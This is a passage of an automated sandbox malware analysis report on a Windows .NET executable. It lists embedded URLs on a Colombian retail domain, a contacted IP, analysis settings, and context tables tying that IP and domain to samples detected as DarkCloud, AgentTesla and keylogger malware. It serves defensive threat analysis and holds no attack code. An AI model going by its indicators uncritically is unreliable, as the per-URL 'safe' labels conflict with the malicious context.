00000000.00000002.2976685963.00000000028C6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D2000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002907000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AB4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002ACD000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AAC000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000291B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://alcomax.com.coFB	XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002A88000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://alcomax.com.coW	XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028F2000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028BE000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://alcomax.com.co/wp-includes/js/wp-embed.min.js?ver=5	XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://alcomax.com.coK0	XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002A90000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://alcomax.com.co/wp-includes/js/wp-embed.min.js?ver=5.2.21	XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000283A000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028EA000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002A84000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290F000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028C6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D2000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002907000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AB4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002ACD000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AAC000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000291B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://alcomax.com.co$N	XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002917000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://alcomax.com.coD	XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000027F2000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000029DA000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002B94000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AFD000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000279C000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002B46000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002921000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000283E000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000027DA000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002B22000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002B6C000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002883000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://alcomax.com.coF	XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028DE000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002836000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://wordpress.org/	XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000283A000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028EA000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002A84000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290F000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028C6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D2000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002907000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AB4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002ACD000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AAC000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000291B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://alcomax.com.co/detectores-de-gases/	XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000283A000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028EA000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002A84000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290F000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028C6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D2000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002907000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AB4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002ACD000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AAC000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000291B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://alcomax.com.co/pruebas-de-drogas/	XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000283A000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028EA000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002A84000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290F000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028C6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D2000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002907000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AB4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002ACD000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AAC000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000291B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://alcomax.com.co:	XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://alcomax.com.coz	XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002913000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://alcomax.com.co?n/3	XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA4000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://alcomax.com.co/sonometros/	XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000283A000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028EA000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002A84000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290F000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028C6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D2000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002907000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AB4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002ACD000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AAC000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000291B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://alcomax.com.co3	XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000027D2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://alcomax.com.cou	XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000282A000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AED000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://envothemes.com/	XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000283A000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028EA000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002A84000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290F000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028C6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D2000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002907000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AB4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002ACD000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AAC000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000291B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://alcomax.com.cox%Z	XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002A94000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000279C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://alcomax.com.co/alcoholimetros/	XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000283A000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028EA000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002A84000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290F000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028C6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D2000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002907000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AB4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002ACD000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AAC000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000291B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://alcomax.com.co	XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000027B1000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002B22000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://alcomax.com.coN4	XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AD9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://alcomax.com.co/wp-json/	XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002BBE000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000027F2000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000029DA000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002B94000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AFD000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002B46000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002921000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000027B1000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000283E000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000027DA000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002B22000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002B6C000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002883000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://alcomax.com.co/	XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002A98000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
204.44.192.90	alcomax.com.co	Canada		8100	ASN-QUADRANET-GLOBALUS	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1631796
Start date and time:	2025-03-07 16:05:50 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 3s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	XTN1VzRJZm.exe renamed because original name is a hash value
Original Sample Name:	122a1ed5d5eacadd2c4049dd3f687e17d18ab5ec947f304057deed9d885be866.exe
Detection:	MAL
Classification:	mal56.evad.winEXE@1/0@1/1
EGA Information:	Failed
HCA Information:	Successful, ratio: 90% Number of executed functions: 30 Number of non-executed functions: 3
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms Sleep loops longer than 100000000ms are bypassed. Single calls with delay of 100000000ms and higher are ignored

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, sppsvc.exe, WMIADAP.exe, Sgrmuserer.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 23.199.214.10
Excluded domains from analysis (whitelisted): fs.microsoft.com, ctldl.windowsupdate.com, c.pki.goog
Execution Graph export aborted for target XTN1VzRJZm.exe, PID 6188 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

⊘No simulations

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
204.44.192.90	BBVA-P53269 .pdf.exe	Get hash	malicious	Unknown	Browse
204.44.192.90	Comprobante transferencia 5678373888272653688262553.exe	Get hash	malicious	DarkCloud	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
alcomax.com.co	BBVA-P53269 .pdf.exe	Get hash	malicious	Unknown	Browse	204.44.192.90
alcomax.com.co	Comprobante transferencia 5678373888272653688262553.exe	Get hash	malicious	DarkCloud	Browse	204.44.192.90

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ASN-QUADRANET-GLOBALUS	GGP_DOCUMENTO CITACION AUDIENCIA_GGP.svg	Get hash	malicious	AsyncRAT, DcRat	Browse	104.245.240.63
	i686.elf	Get hash	malicious	Mirai	Browse	156.232.79.44
	cbr.spc.elf	Get hash	malicious	Mirai	Browse	46.30.191.209
	BBVA-P53269 .pdf.exe	Get hash	malicious	Unknown	Browse	204.44.192.90
	https://mylarbagdesigns.com/	Get hash	malicious	HTMLPhisher	Browse	66.63.187.37
	jklsh4.elf	Get hash	malicious	Unknown	Browse	154.205.102.76
	splsh4.elf	Get hash	malicious	Unknown	Browse	154.81.62.188
	jklarm7.elf	Get hash	malicious	Unknown	Browse	23.153.78.241
	yakov.x64.elf	Get hash	malicious	Mirai	Browse	154.205.102.36

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	wubZB5Ar1r.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	204.44.192.90
	yKRHzdeELv.exe	Get hash	malicious	AgentTesla	Browse	204.44.192.90
	mKRflLn5sx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	204.44.192.90
	UOEAjWmusE.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	204.44.192.90
	zXtG0a5Gt0.exe	Get hash	malicious	XWorm	Browse	204.44.192.90
	nGI2U2r41E.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	204.44.192.90
	OfQ4QRmP65.exe	Get hash	malicious	Unknown	Browse	204.44.192.90
	ckHregxJIq.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	204.44.192.90
	OfQ4QRmP65.exe	Get hash	malicious	Unknown	Browse	204.44.192.90

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
